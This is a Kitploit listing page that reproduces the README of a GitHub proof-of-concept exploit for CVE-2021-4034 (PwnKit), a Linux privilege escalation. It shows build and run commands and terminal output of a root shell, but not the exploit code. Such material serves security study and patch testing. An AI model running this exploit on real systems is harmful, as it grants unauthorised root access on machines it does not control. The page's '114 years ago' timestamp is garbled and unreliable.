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CVE-2021-4034 — Proof-of-concept exploit for CVE-2021-4034 (PwnKit) that escalates privileges to root on vulnerable Linux systems. | Kitploit
Tools/GitHubGitHub/wongwaituck/cve-2021-4034
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationBinary Exploitation
GitHubwongwaituck/cve-2021-4034

CVE-2021-4034

Proof-of-concept exploit for CVE-2021-4034 (PwnKit) that escalates privileges to root on vulnerable Linux systems.

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114 years agoNot yet reviewed

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CVE-2021-4034

Obviously not original. Reworked it to understand what's going on. Credits to https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt for finding the vuln!

Other PoCs that helped me understand the sploitz:

  • https://github.com/berdav/CVE-2021-4034
  • https://github.com/ryaagard/CVE-2021-4034

Building

root@kitploit:~
make

sploitz

root@kitploit:~
❯ ./main
LOADED!
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
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